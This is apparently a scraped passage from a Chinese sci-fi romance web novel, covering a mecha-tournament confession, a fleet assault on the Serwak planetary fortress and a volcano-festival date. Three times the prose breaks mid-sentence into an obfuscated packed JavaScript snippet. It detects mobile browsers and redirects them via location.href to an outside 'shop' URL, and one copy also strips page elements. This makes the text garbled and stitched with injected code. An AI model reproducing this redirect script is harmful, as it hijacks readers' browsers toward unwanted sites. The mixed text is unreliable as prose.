而私人厨房虽然是包间,却能自己选择菜品做饭。兰司珞发誓一定要做出自己最擅长的美食,好叫元墨洇一辈子吃营养餐的时候都忘不掉他。 所以他做了一碗面,毕竟在珍辰之家,如果你经常不在饭点而想吃东西,就要学会自己下面吃。 在面的选择上,他特地重新看了一遍营养餐的食谱,确定上面全是清淡的口味。 用新鲜鸡肉熬制的清澈面汤,撒入一把切成均匀小段的青菜,碗底藏了一个半熟的溏心蛋。 粗细均匀的面条是兰司珞刚才亲手搓揉后拉出来的,比之一般的拉面要更细一些。 元墨洇拾起筷子,慢悠悠地把面卷在筷子上,再放入嘴里。 兰司珞忘了吃自己那一碗,张大嘴巴看着。 原来真的有人吃东西会按照《社会》教材上《礼仪》那一章写的来做。 初学《社会》的时候,兰司珞和赫帆还一人捧着一本书,坐在一起吐槽过。 吃饭要用勺子舀着吃,不可让饭超过勺面。 吃面要用筷子卷着吃。 多种食材混吃,得用筷子将它们都夹在同一个勺子里,再吃下去。 …… 因为都知道没人会真的按照教材来做,所以这么多年过去,星族联盟教育部也懒得修改教材。 兰司珞回过神来,又看见元墨洇把菜和面夹到同一个勺子里再吃下去。 他忍不住开口问道:“你们家吃饭必须按照《礼仪》里面写的来吗?那穿衣服呢?早中晚必须问安?” 完了完了,他《社会》成绩只有B。万万没想到啊,嫁入豪门的梦想里还有这种考验。 他脑海中浮现出自己像偶像剧里的贫穷男主角一样,第一次来到有钱有势的女主角家里,因为不懂礼仪,闹了一大堆啼笑皆非的故事,被愤怒的家主赶了出去,好好的爱情故事就此生出许多波折来。 “不用。”元墨洇的话拯救了兰司珞的幻想。 兰司珞松了口气,夹了一大把自己面前的面条递到嘴边,忽然想到了什么,又把这些面条放了回去,重新夹起几根,笨拙地用筷子卷了起来。 等到他好不容易吃到这一小卷面条,汤汁都掉光了,面也凉了,他十分的手艺只剩下一分。 他悄悄抬头,好巧不巧,元墨洇正看着他。 兰司珞默默放下筷子,把头埋进碗里:“别、别看我,我回去会好好练习的。” “不用。” 兰司珞先是窃喜,接着又是一阵失望,眼见着元墨洇已经收回目光,重新卷起面条,他也只好拿起筷子,正常地吃了下去。 吃完饭,兰司珞问元墨洇:“要不要去周围逛逛?” 要是被其他同学,尤其是熟人,看到他们俩走在一起,那该多么拉风啊。 元墨洇看了看时间,无情地拒绝了他:“不用。” 兰司珞发誓,今晚,不,这辈子,他最讨厌的就是“不用”这两个字了。 但是刚刚元墨洇看时间的时候他也顺带瞄了一眼,快要到他规定好休息的时间了,机甲竞赛还有不足半个月的准备时间,如果真的和元墨洇去外面逛一圈,很可能打乱他的作息,影响他比赛的状态。 他只好暗暗在心里哀叹,好好的机会就这么被拒绝了。同时又看着面前冷淡的侧脸,心想不愧是元墨洇,随口一句拒绝都能帮到他。 两人慢慢走在回学校的路上,兰司珞闲不住,开始给元墨洇讲自己平时训练的各种突发事件。元墨洇大多数时候只是听着,只有在兰司珞没想明白的问题上,才会开口点拨他一两句。 到了宿舍园区的岔路口,兰司珞不能再前进了。男女宿舍在不同的园区,彼此之间不能往来,他只能停下脚步,把没说完的故事咽回去,改成一句拖长了声调的:“晚安。” 兰司珞这个人,无论是脸上的表情,还是心里的心思,都太好猜了,以至于元墨洇一下子就从他的五官中读取到了他心里真正的想法。 也许是今晚那碗面实在好吃,毕竟是兰司珞从小做到大的绝活,元墨洇满足了他。 她的声音轻得像夜风,又重得像雪山上流淌下来的冰,轻轻巧巧,不费吹灰之力便刻在兰司珞心上。 “加油。” 得了那句“加油”,兰司珞干劲十足,没有再去找元墨洇,继续按照计划训练着。 机甲竞赛如期举行,赫帆拿到了想要的名次,兰司珞更是一路高歌猛进,直接杀进决赛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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每个人要生多少孩子都有定数,不足或者超过都会加重税额,人们并不介意承担人类发展的责任,却有人实在不想,或者不会养孩子。 珍辰之家由此成立,父母签订断绝亲子关系合同,从此将自己的孩子交付给珍辰之家,与其再无关联。 按照元九针的要求,元家每年都会拿出一部分孕育舱交易赚的钱,用以维护珍辰之家。 兰司珞出生于珍辰之家,这对于元墨洇来说也算不上什么秘密。 珍辰之家的工作人员都经过严格的考核,无论兰司珞多么优秀,多么讨人喜欢,他们都不可以偏爱他,必须一视同仁。 兰司珞自然清楚这项规定的用意,可是在决定自己前途的关键时刻,他忽然又在意起来。 珍辰之家的工作人员对他都不错,可是他们对赫帆也不错,对所有人也不错。 如果没有偏爱,那就不算亲人吧? 兰司珞等了一会儿,没有听到元墨洇说话的声音。 他失望地抬起头来,看到元墨洇正在他的光屏上点击确认。 “填好了。” 填好后,元墨洇又沉浸在工作了,忘了放开抓住兰司珞那只手。 兰司珞在退缩和犹豫之间把手心展开,手指一点点移动到元墨洇的手背上,这样看就好像两个人一直手牵着手。 他亦步亦趋跟在元墨洇身后,不敢用力,怕元墨洇发现这个秘密,把手收回去。 一定是他超强的身体掌控力发挥了作用,元墨洇就这样毫无所觉,牵着他的手做完了当天的工作。 晚上,兰司珞回家照镜子,只看见自己脸上泛着桃花般的粉意,那些略带潮湿气的情感早就消失得无影无踪。 比赛当天,赫帆来到后台给正在做准备的兰司珞加油。 兰司珞神神秘秘地带着他走到窗边,示意他看向看台的某处。 赫帆惊讶得眼珠子快掉到地上去了:“那是元……元……她怎么会来?” 兰司珞尾巴都要翘到天上去了:“你觉得呢?” 赫帆不敢置信:“你?” 总决赛的兰司珞超常发挥,以极快的速度拿下比赛,追平了机甲竞赛比赛时长的记录。 恰逢帝都星中级学院是本次机甲竞赛的东道主,自身又出了一位如此优秀的学生。校长一高兴,吩咐工作人员点燃整个体育馆上所有的礼炮,又撒光了库存的所有鲜花和彩带。 美中不足的是万众瞩目的冠军举着个奖杯上蹿下跳,活像没见过世面似的,接了满满一杯的花瓣。 校长皱着眉看了片刻,还是通知工作人员,让他们想办法提醒一下兰司珞,注意点形象,别给帝都星中级学院丢脸。 主持人收到指令,提前上台采访冠军,顺带阻止兰司珞。 他把话筒递过去,嘴里开始说背好的台词,兰司珞却忽然看向某一处的看台。 隔着人声鼎沸的体育馆,纷纷扬扬的彩色的雨,兰司珞精准地在一张张笑脸里,找到了那个向来不笑的人。 像他的剑锁定猎物那样精确而快速。 他的心跳在加速,他的身体不受控制地跳过大脑,带动他从颁奖台上一跃而下,跑过体育馆上坠着鲜花的彩带,跑过好奇打量他的目光,跑过各式各样的惊呼声。 在他回过神来的那一刻,他已站在元墨洇面前。 阳光照射在兰司珞金色的头发上,折射出瑰丽炫目的七彩光芒。 周遭的窃窃私语震得他耳朵中藏着的每一根血管里的血都在汩汩流淌。 心脏疯狂跳动,每一个曾经说不出口的字都在撞击着他的胸腔。 话筒被兰司珞无意识举到唇边。 360度立体环绕的音响设备,保证了兰司珞说出的每个字都能被在场所有人听到。 这一次,他终于有了一点分量,可以献出自己能拿到的最大的荣誉,换来一次期待已久的开口。 他说:“元墨洇同学,我喜欢你。” 声音轰隆,响彻整个体育馆。 空气倏地寂静,就像时间被暂停,瞬间和永恒有了片刻的重叠。 紧接着,嘈杂的议论声跟随着所有人的目光排山倒海而来。 元墨洇一如既往安静坐在那里,人群的喧闹声连她的头发丝都无法惊扰分毫。 众目睽睽之下,她伸出手,于人群之巅,目光汇集之处,无声摘下了兰司珞手里捧着的奖杯,如同摘下一枝热烈的玫瑰。 身后礼花齐鸣,以兰司珞的光辉荣耀,为元墨洇献上最诚挚的爱意。 至于兰司珞那天的获奖感言到底说了什么? 兰司珞虽然被扭送回了颁奖台,但是根本不记得自己有说过话。而以元墨洇的智慧,这是她少有的没有记住的东西。 至于其他同学,他们压根没听懂那些颠三倒四的怪异文字组合。 兰司珞将奖杯放回元墨洇的置物架,转身离去。 这件事曾经引起很大的讨论,却最终和元墨洇的名字一同被星网抹去,和这个奖杯一样,被放置在仓库里任人遗忘。 可兰司珞不可能忘记,元墨洇答应过自己的表白。 就算元墨洇忘记了,从那一刻起,他也已完完全全属于她了。 25. 决战 “兰少将?” “兰少将!” “兰少将——” 兰司珞两眼发直地朝元墨枢看去:“?” “怎么样怎么样?”元墨枢见他终于搭理自己,按在桌面上的双手稍稍用力,把前倾的身体收了回来,“找到传说中的1号仓库了吗?” “嗯哼。” 元墨枢恨恨地一拳击打在自己手心:“你别学我姐说话。” “纠正一下。”兰司珞听到她提起元墨洇,一下子有了精神,“你姐姐不会说‘哼’。” “哦。” 兰司珞伸了个懒腰,站起身来,把堆满任务的光屏推到一边,绕过元墨枢背着手站在窗边。 元墨枢跟了过去:“听说你来研究所这边看最新进展,我好不容易才申请到了10分钟休息时间,快跟我讲讲。” 兰司珞浪费了5分钟给她讲了一个惊心动魄的潜入故事。 元墨枢捏紧了拳头。 如果何晞也在这里,这时候的他们一定很有共同语言——元墨枢考虑到和兰司珞的实力差距,默默放下拳头:“我用内部资料跟你交换。” “仓库我去过了。” “说起来,我姐房间的角落还有个置物架,上面似乎也放了些好东西呢。” 兰司珞两眼放光地看过来:“有什么?” 元墨枢挑眉。 兰司珞能屈能伸:“1号仓库也就放了,我想想,你的飞船模型,我送的补品,我送的奖杯,还有……” “就这些?” “这些都是很珍贵的好不好。” 元墨枢撇撇嘴,看了看时间:“糟糕,我该回去了。” 她注意到兰司珞阴沉下来的脸色,补充道:“之前说的那个毛绒玩偶,我找到了,她放在卧室的置物架上。” 元墨枢当时也很难想象,自己表面上冷漠不近人情的姐姐,其实晚上需要抱着毛绒玩偶才能睡着的模样。 兰司珞抓过光屏开始记笔记:“长什么样子?什么牌子?哪种毛?” “忘了。” 兰司珞冰冷地对她说:“你超时了。” 元墨枢尖叫着跑走了。 何晞进门的时候刚好撞上元墨枢,元墨枢没顾上跟他打招呼,风风火火地跑走了。 何晞幸灾乐祸:“她怎么了?你得罪人家了?我倒是知道一点秘密,听说她在家里并不受到重视,地位跟她姐姐完全没法比。你……” 兰司珞正思索毛绒玩偶的事,不耐烦地说:“你跟你哥哥姐姐就能比了?” 何晞哽住。 半晌,他涨红了脸,提高了音量:“至少我将来可以有一位掌握实权的结婚对象。” 何晞年纪比兰司珞大两岁,何家已经给他物色了好几年的联姻对象。只是他挑挑拣拣,一直没有敲定满意的人选。他的父母兄姐对此也颇有微词。 兰司珞其实并不知道此事,何晞向来不愿意谈起自己的家事。兰司珞只知道相比于何晞这个副官,他家里的其他人都是军团有名有姓的军官。 兰司珞懒得与何晞争辩,何晞却不肯放过他,当场给他发了一大堆没整理过的文件过来:“这些都是你的工作,距离唐曼将军进攻星球堡垒的计划还有一周,记得做。” 兰司珞在心里翻了个白眼,这一招他都玩腻了。 不过这次,他看向自己通讯界面上那个名为“周恒”的联系人,这是元墨洇之前派来帮他处理文件的,腰板隐隐挺直起来。 他勾起一抹笑意:“行啊。”顺手把周恒刚整理好的一股脑发过去。 何晞没料到他兰司珞真的能做完这些工作,皱着眉头点开其中几个看了看,怀疑地开口:“这不是你做的吧,泄密是违法的。” “我自然有合法的渠道。” 何晞上下打量兰司珞,心中否决了元墨枢这个选项,脑海中转过几个猜想,脸色阴沉下来。 他匆匆汇报了此行的收获,没有叫上兰司珞,独自一人快步离去。他要赶快去查一查,兰司珞背地里上了谁家的船。 兰司珞好不容易在何晞面前硬气一回,哼着小曲把他送走了。 一周时间很快过去,所有准备工作都完成之后,对瑟尔瓦克星球堡垒的攻击行动正式开始。 瑟尔瓦克的星球堡垒一直隐藏在与天市垣星域的边境,由两颗被命名为瑟尔瓦克星的主星和二十颗副星组成。 在星族联盟与瑟尔瓦克的战争爆发前中期,原本是有机会直接压制瑟尔瓦克的。但是瑟尔瓦克却通过生物技术将这二十二颗星球改造成了移动堡垒,并将生物透明技术运用到二十颗副星上,使主星隐藏起来,而后一直靠这个在边境骚扰,直到星族联盟投放了三颗高等星球在附近,拉起了防御网。 唐曼将军与瑟尔瓦克交战多年,十分清楚它们的套路。兰司珞的之前的几次作战是针对瑟尔瓦克入侵试探的联合围剿,除了汤燧星的驻军之外,附近的其他驻军也纷纷出击,打退了潜藏在天市垣星域内部的瑟尔瓦克的舰队。 逃脱的瑟尔瓦克必定会逃回瑟尔瓦克主星,而瑟尔瓦克主星也会根据它们的逃跑路线选择合适的地点进行接应,尔后潜伏一周左右。 因此,如果要突袭瑟尔瓦克,此时是最好的时机。 联合驻军舰队悄无声息地包围了瑟尔瓦克星球堡垒,先遣舰队开启隐身模式率先出发,用反隐身生物雷达系统标记出两颗瑟尔瓦克主星以及二十颗副星的位置。 除主舰群外,其余军舰按照以小队的形式各自移动到兰司珞规划好的行动地点。 大部分军舰小队的激光炮开始充能,炮口无情地对准了瑟尔瓦克星球堡垒。另一小部分军舰小队穿梭在他们的缝隙中,将用于捕获瑟尔瓦克的装置悄无声息开启。 宛如水母和它共生的小鱼。 舰队联合防护罩打开的那一刻,舰载激光炮同时充能完毕,无数道耀眼的白光如利剑射向被包围在中央的二十二颗星球。 光脑中,二十颗星球以一种神秘的规律开始疯狂运转,如同四肢忠诚地守护自己的大脑。肉眼看不到的防护罩悄然开启,与激光炮接触之后泛起一阵扭曲的涟漪。 主舰群兵分三路,兰司珞的舰队是其中一路。 在第一轮试探攻击结束之后,整个主舰群随着唐曼的指挥悄无声息地动起来。主舰群按照预设的轨迹穿过铺设好的军舰小队埋伏网络,在一个精心计算出的点位毫不意外地拦截住了瑟尔瓦克的主舰。 瑟尔瓦克生物科技技术虽强,自身却有着很大的局限性——在这片无情的太空中,它们没有疆域,没有领地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278084|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只有孤独航行的二十二颗改造星球。 星族联盟为了避免将它们逼走,一直采用的示弱的方式与之周旋。因为无根的种族遭到致命的袭击,必定会第一时间保存精锐力量逃走。 唐曼织下网,就是为了捕获这条大鱼。 兰司珞带着最出色的机甲军士飞出军舰,太空中下起一场象征收割的流星雨。 激光炮和激光剑自如切换,肆意收割着远近敌人奋不顾身的身影。 军舰小队用舰载激光炮布下天罗地网,硬生生阻断了瑟尔瓦克主星传来的焦急的支援。捕获小队在激光炮的光束中穿梭,死的瑟尔瓦克直接打包,活的瑟尔瓦克用生物武器攻击后再捕捉,一股脑塞进存储舱里。 与此同时,瑟尔瓦克的主舰防护罩也被星族联盟的主舰群率先打破。裂纹出现的一刹那,兰司珞化为金色的闪电从裂缝中穿梭而过,前仆后继的瑟尔瓦克只能稍稍阻挡他一下,下一秒他就以更快的速度突破了更多触手的防护墙。 兰司珞挡住最后一根触手,在瑟尔瓦克绝望的哀嚎中落在他们的主舰上,生物芯片毫不留情地被植入舰体。 信号被科技的力量牵引到汤燧星的研究所,研究所里所有的技术人员都立刻从待命状态切换到工作状态。多年来破解瑟尔瓦克生物技术的经验化作疯狂的数据流被传送回太空中,像一根钩爪从黑暗中伸出,准确无误地捕捉住了瑟尔瓦克。 植入芯片的任务是唐曼将军特地交代兰司珞的,因为他速度最快,只有他能打瑟尔瓦克一个措手不及,而原本计划中的其他机甲军士都在外替他分担压力。 兰司珞被团团围在包围圈里,始终守护着生物芯片的位置,随着身上伤口逐渐增多,熟悉的剧毒传来一阵阵痛感。他毫不迟疑地命令光脑给自己打了一针解毒剂。 全军团唯一配置的一支SJN001打入兰司珞的体内,被剧毒麻痹的身体迅速醒来,以精妙的操作等到了生物芯片已入侵瑟尔瓦克主舰的提示音。 胜利的天平已然倾斜,再无逆转。 瑟尔瓦克的舰队舱门打开,无数触手争先恐后涌出,在雷达中化为密密麻麻的光点又向各个方向散开。而处在舰载激光炮网中心的瑟尔瓦克星见到大势已去,处在重重副星守护中的神秘星球直接自爆。 冲击波被舰队联合防护罩挡下大部分,所有战舰都不受控制地被爆炸的余威推出原本所在的位置。 二十二颗星球的残骸和碎片骤然四散开来,从此永恒流浪在宇宙中,无家可归。 而胜利者很快整理好队伍的秩序,收割失败者的血肉,满载而归。 凯旋的舰队依次踏上返航的道路,兰司珞的军团也经过一段时间的航线回到汤燧星的战舰停泊港口。 兰司珞经过一场大战,下了军舰之后就被塞进治疗舱一路运输到了汤燧星综合医院。 等他醒来的时候已经过了三天,兰司珞睁开眼,发现自己睡在熟悉的病房里。 他想起什么一般猛然抬头望去。 时间明显已是午后,阳光从西边穿过窗户,在窗前的书桌上铺成一张金色的桌布。 苍白修长的手指正拿着笔在书写着不知名的内容。 似是察觉到灼热的目光,黑发的医师转过头来,银色的眼眸盛满金色的碎屑。 26. 火山节 兰司珞半撑着身体,被子从他胸膛上滑落下去,露出一大片连接着各种仪器的皮肤。 他傻愣愣地看着元墨洇向自己走来,抬起手用力揉了揉眼。 元墨洇抓住了他的手,俯下身来,将一个手持仪器贴近他的额头。 她头发束得太好,兰司珞等了很久,也没等到任意一缕垂落在他的脸上。 他微微有些失望。 更令兰司珞失望的是,手持仪器检查完毕之后,本来投射在兰司珞身上的目光就被主人吝啬地收回,转而去专注地调整床边各项治疗仪器的数据。 兰司珞知道自己不该在元墨洇工作的时候打扰她,但他经历了一场大战,又睡了一觉,醒来发现喜欢的人就在身旁。 连做的梦都鲜少有如此美好的,他比往日任何时候都渴望听到元墨洇的声音。 他专注地盯着元墨洇快速按动按钮的手指,声音沙哑:“我,咳咳,我回来了。” “嗯。” “我把任务都完成了,跟我以前出的任务完成得一样好。” “嗯。” “答应你的我做到了,我平安回来了。” “好。” “火山节还有几天?我提前准备一下。” 元墨洇确认了所有的数据,放下手,回到兰司珞的床边。 兰司珞这才发现他还是以一个撑着床沿坐起的姿势凝固在床上。他重新躺了回去,感觉到自己半边胳膊酥酥麻麻的。 元墨洇伸手摘掉了他身上那些连接着仪器的管子,摘完后才告诉他:“今天就是火山节。” 兰司珞“嗖”地掀开被子,要不是元墨洇还挡在床前,他已经跳下来了:“不会吧?我光脑呢?我衣服呢?我还没有洗澡!我该不会在做梦吧……” 元墨洇的手指在兰司珞眼前骤然放大,五根手指随着视线下移,似有若无地拂过兰司珞的脸颊,顺着他的发丝滑入他的后脑勺,不轻不重地揉了两下。 兰司珞呆呆看着元墨洇的脸。 元墨洇手指力道柔软,指腹的薄茧在兰司珞头上留下清晰的触感,伴着她清冷的声音:“不是做梦。” “哦……” “我回去等你。” 兰司珞在元墨洇转身之际,猛地往前一扑拽住了她的手:“能不能就在这里等我,我会很快的。” 他动作太急,膝盖磕在了床边,发出“咚”的一声,眉心的美人痣疼得有些扭曲,声音也带着一丝颤抖。 唯独拉住元墨洇的那只手,平稳而干燥,甚至在抓住目标后微微泄了些力道,元墨洇只需稍稍用力就能挣脱。 元墨洇没有松开那只手,她从身上翻出一片伤口贴,半蹲着贴在兰司珞的膝盖上。 她的发尾经过几番动作从颈侧垂下,扫过兰司珞拉着她的那只手。 兰司珞心满意足地挠着痒痒,听见她说:“好。” 高级病房里有用于洗漱的隔间,因为常年出任务,兰司珞养成了随身携带日用品的习惯,此时正好将它们下载下来。 浴室的水汽炙烤着兰司珞的大脑,他索性放弃思考,把头抵在冰凉的墙壁上,看着水珠一颗颗沿着瓷砖的缝隙滴落下去,想象着每一颗晶莹剔透的水滴里都是一个他和元墨洇幸福约会的世界。 还好有理智提醒他元墨洇还在门外等他,他没有花费太长的时间,收拾好自己走出了浴室。 元墨洇早已回到窗边,正在阅读光脑上的研究报告。 兰司珞左右扫了眼,去角落里搬了个椅子,老老实实地坐在了元墨洇身边等着。 等了1分钟后,元墨洇就将研究报告划到了底,关掉了光屏,露出了光屏后面萦绕着甜香的头发发光的兰司珞。 兰司珞扬起笑脸:“好看吗?” 他的头发随着动作,在窗外的阳光中依次散开,柔和的光晕扩散出一个浅白的圈又收束回来,乖巧地贴合在他身边。 兰司珞顺着她的目光摸摸头发:“何晞给我代购的光泽剂,他说你肯定会喜欢。” “我喜欢彩色的。” 兰司珞:“!” 他懊恼地抱住脑袋:“我本来用的彩色的,何晞骗我说你不会喜欢这种,还给我买了新的,我就把彩色的放在家里没有带来。我就说嘛,他哪来的这么好心。” 元墨洇在他的哀嚎声中,下载了一个瓶子下来,放在兰司珞手边。 兰司珞拿起来一看,熟悉的几个彩色大字映入眼帘:让你每一根头发丝在阳光下都闪烁出玛丽苏主角的七彩光效。 他如获至宝:“原来你这里有彩色的光泽剂,你再等等我,我马上去把头上这种换掉。” 兰司珞与元墨洇并肩走在阳光下,他不时挑起一根耳畔的发丝,对着阳光左看右看,满意地看着上面的彩色光芒不断变换着。 他扯着一根头发伸到元墨洇面前:“你看这个光效,像不像我赢了机甲竞赛的那天的样子?” 虽然他向元墨洇表白的那段被删掉了,但他还是偷偷保存了那天的录像,被鲜花、彩带、礼炮包围住的他,头发就像抹了七彩玛丽苏光泽剂一般炫目,帅到发光。 他想起1号仓库那个奖杯,觑了元墨洇一眼:“那个奖杯……” “像。” “啊?”兰司珞惊喜道,“你也觉得很像!” 他快走几步到了元墨洇身前,转了个圈,在元墨洇面前定住,伸出手来,一双亮晶晶的眼睛下展开一副灿烂的笑容:“像的话,你愿意牵住他的手吗。” 元墨洇脚步不停,走到兰司珞身边的时候,自然地伸出手,放在兰司珞掌心。 兰司珞用手心的伤口紧贴上元墨洇的薄茧。 他手里这只手,曾经像摘花一般摘走他的奖杯,现在又像领取奖品一般,领走他的人。 他悄悄松开手指,将它们一一送进元墨洇手指间的缝隙里,再微微蜷缩起来,指尖轻轻趴在元墨洇的手背上。 元墨洇弯了弯手指,传来一股令他安心的力道。 汤燧星刚被捕获的时候,天市垣星域的开发团队也曾有过将其建设成网红旅游星球的雄心壮志,只是计划刚铺陈开,这一片星空便遭遇了瑟尔瓦克星域入侵,不得不紧急改造成一片战斗用的星空堡垒,连带着汤燧星的建设计划也跟着搁浅。 短短的时间内,开发团队只来得及改造了汤燧星火山周围一带,现如今已经是这里最热闹的购物中心。 兰司珞来了汤燧星好几个月,这是第一次踏入这里。 最新型的电子玻璃从火山口延展而下,一直铺设到购物中心入口处。滚烫的岩浆在脚底下翻涌,清晰可见。身侧络绎不绝的居民每一步踏下,都在地面上踩亮一个漂亮的图案,小孩子成群结队地自由奔跑着,电子玻璃做成的屏幕上画出流星般的轨迹。 兰司珞用脚尖试了试,脚下立刻出现了一个狗狗图案,冲他眨了眨眼睛又消失了。 兰司珞发出没见过世面的声音:“哇!你快来踩一个。” 他往前走了一步,带动着元墨洇自然而然地踩上了身前的玻璃,身后留下了一个闪烁的月牙。 兰司珞眼疾手快地往那上面踩了一脚,掏出光脑赶在月牙消失的最后一秒拍了个照。 “怎么样?”他把光屏推到元墨洇面前,自己顺势靠了过去。 元墨洇点了点头,继续往前走去。 兰司珞满意地收回光屏,依依不舍地把头从元墨洇的肩上挪开,身后忽然传来一股力道,把他拍进元墨洇怀里。 他下意识用手搂住元墨洇的腰。 药草般的香气比任何时候都要清晰可闻,兰司珞收紧手臂,只觉得自己的心剧烈挣扎着想要从他的胸腔里跳出来,融到元墨洇的身体里去,和她化为一体, 身后传来小孩子“咯咯”的笑声,兰司珞如梦初醒,放开了手臂,脸立刻避开元墨洇的目光朝身后看去。 一个圆滚滚的球在他身后弹跳着,他伸手拎了起来,球一离开地面就开始逐渐干瘪,露出里面装着的一个穿着红衣服的小孩子。 小孩子笑嘻嘻地对他说:“谢谢哥哥,我刚刚跑得太快撞到你啦,对不起。” 该有的笑容、道谢、道歉、解释原因一个不落,一看就是《社会》课程的优秀学生。 兰司珞这门课好歹拿了个S,他装模作样地把人放在地上,淡淡地说了声:“去玩吧。” 然后转身老老实实低头站在元墨洇面前。 《社会》课程中有说,无意间的身体接触后,要迅速分开并道歉,不能趁机动手占便宜。 他刚刚没有控制住自己的手,也没有控制住自己的心,糟糕的是,他忘了后面应该做什么。 元墨洇好像也忘记了,她把手重新放回兰司珞的手里,继续牵着他往前走。 兰司珞忿忿不平地想,《社会》果然是一门死板的课程,教的东西没有什么有用的。 “那个球是什么?”看到又一个小孩子变成球之后,兰司珞好奇地问道。 “摔倒回弹装置。” 兰司珞目送着那颗球瘪掉,感慨道:“真好啊,我小时候没少摔跤,都是自己爬起来的。” “珍辰之家已经普及了这套装置。” “现在的珍辰之家是你在负责吗?”兰司珞看了一眼元墨洇眼下的淡淡青影,不禁想到刚才怀里单薄的触感,“会不会太忙了?” “珍辰之家按照惯例由家主的配偶的负责,目前还在我父亲手上。” “哦,那你的配偶……咦,不就是、咳咳。”兰司珞拼了命把“我”字咽了回去。 元墨洇:“……” 兰司珞:“我就是珍辰之家长大的,没有人比我更熟悉了,有些东西我们想要的,你们未必知道。比如……” 元墨洇听他说了一路自己从小到大的各种想法,直到走到一个冰淇淋机旁,他才停下脚步,用渴求的眼神在冰淇淋机和元墨洇之间来回转动。 元墨洇放开他的手,让他排队,自己走到了另一头。 冰淇淋机对面的街道摆着一排夹娃娃机,兰司珞举着两个草莓冰淇淋挤过来的时候,元墨洇正随意站在一个夹娃娃机面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这颗默默无闻的中等星球狂欢着,生活在这里的人们鲜活而美好,这是独属于汤燧星的每十年一次的盛会。 元墨洇也在看,随着岩浆的流淌,交握的十指有阵阵热意涌了上来。 她侧头看兰司珞,兰司珞就像正在等待着这一刻一样,露出一个比岩浆还明亮炽热的笑容来。 记忆里的金发少年和眼前的青年重叠在一起,他们一起朝元墨洇笑。笑容同样干净、爽朗,跨越时空而来却越发鲜活,不曾褪色,反而更加灼热。 漫天火焰中,元墨洇对着兰司珞说:“低头。” 兰司珞在人群的喧闹中精准无误地抓住了这两个字,他弯下腰凑到元墨洇脸颊边:“怎么了?” 元墨洇按住他的后脖颈给了他一个冰冷的吻。 霎时间,兰司珞的脑子里好像也炸开了一座火山,将他那些压抑多年的情感烧得一干二净,新生的岩浆奔涌在他年轻火热的胸膛。 怀里的小兔子紧张得上蹿下跳。 兰司珞的声音像天上转瞬即逝的焰火,在元墨洇耳边绽开了一个很符合他智商的问题:“你刚刚是在亲我吗?” 元墨洇轻轻摩挲了一下他的后脑勺,面不改色地回答他:“是。” 兰司珞的脸被脑子里的岩浆烧得绯红:“那、那我以后可、可以亲你吗?” 元墨洇盯着他看了片刻,在兰司珞紧张又期待的目光中缓缓开口:“你试试。” 兰司珞忽然想起来了。 《社会》课程里有说,拥有情感链接的两个人之间,可以适当不遵守这些规则。 所以他抱紧元墨洇的时候,元墨洇没有责怪他,其实就已经得到了她的认可。 他脑子里一朵朵烟花炸开,心底有个声音在蛊惑他说:“你本来就是她的人呀,兰司珞,你忘了吗?” 他怎么可能忘了呢?! 他把额头抵在元墨洇的额头上,用颤抖的鼻尖去碰触她的鼻尖,问道:“我是你的吗?” 元墨洇摸摸他的脸:“是。” 兰司珞将自己颤抖的唇重新贴上元墨洇的,手紧紧箍在元墨洇的腰上,两个人的发丝重新缠绕在一起,直到清冽的气息中每一寸都萦绕上丝丝甜意。 兰司珞的眼因这个吻染上了薄薄的雾气,像久睡醒来的第一眼看见的清晨的窗户,天空因此蒙上梦幻般的色彩。 就像草莓酱被淋在冰沙上。 就像植物找到了适宜的土壤,终于获得了赖以生存的养料。 元墨洇伸手轻轻捏了捏兰司珞的下巴,示意他可以再得寸进尺一点。 兰司珞向来是一个很会把握时机的战士,他顺势在元墨洇的气息里长驱直入,在每一个角落里流连忘返。 元墨洇的手插入兰司珞金色的发丝间,柔顺的发丝乖巧地任由她的手指拨弄,兰司珞便如同自己的发丝般,在元墨洇的领地里侵略、探索、臣服。 直到火山烬燃,烟花碎落。 27. 火山节惊魂 火山喷发逐渐接近了尾声,天色逐渐暗下去,脚下的岩浆也从鲜红流淌成暗红。 火山节安排的烟花节目早已结束,天空中仍然热闹非凡,有的好几十号人围在一起,燃放着自带的成堆的烟花。小孩子举着仙女棒满地乱窜,像石子砸进池塘,所过之处惊起一群群水鸟。 兰司珞抱了好几箱烟花,从人群中挤回元墨洇身边,放在她面前。 “早知道提前买一些烟花了,怎么睡了这么久,我都没来得及准备。”他蹲在地上,从箱子里费劲地翻找出一根仙女棒,“最后一箱了,凑合一下。” 仙女棒作为最受欢迎的烟花自然是管够的,只是兰司珞想买最好的。普通款只是冷火点燃,无烟无屑,安全又节能环保,他好不容易找到的这箱特殊款却能像霓虹灯一样燃出不同的颜色。 他递给元墨洇一根,自己也拿了一根,将两根烟花棒的头靠在一起,用店家送的冷火打火机给它们同时点燃了。 仙女棒的烟火能留在空中十分钟,兰司珞趁机画了一个五彩斑斓的金色机甲。 他转头,发现元墨洇在空中写了几行神秘的字。 兰司珞:“?” 他斟酌着说道:“你喜欢的话,我多买几箱放在家里给你打草稿。” 元墨洇不置可否。 